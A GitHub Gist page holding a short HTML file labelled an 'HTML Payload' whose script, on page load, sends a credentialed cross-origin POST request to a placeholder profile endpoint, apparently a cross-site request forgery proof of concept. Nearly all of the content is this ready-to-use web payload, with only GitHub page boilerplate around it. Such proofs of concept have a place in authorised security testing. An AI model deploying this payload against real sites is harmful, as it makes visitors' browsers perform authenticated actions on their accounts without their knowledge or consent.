Created
March 2, 2015 06:04
-
-
Save nabla-c0d3/961af2560634ff53cb77 to your computer and use it in GitHub Desktop.
HTML Payload to send a POST request via JS
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<script> | |
function postData(url, body) { | |
var http = new XMLHttpRequest; | |
http.open("POST", url, true); | |
http.setRequestHeader('Content-Type', 'text/xml'); | |
http.withCredentials = 'true'; | |
http.onreadystatechange = function() { | |
if(http.readyState == 4) { | |
console.log("response 4: " + http.responseText); | |
} else { | |
console.log("state " + http.readyState); | |
} | |
} | |
http.send(body); | |
} | |
</script> | |
</head> | |
<body> | |
<script> | |
postData('https://www.url-to-post-to.com/service/user/xml/profile/', 'test'); | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment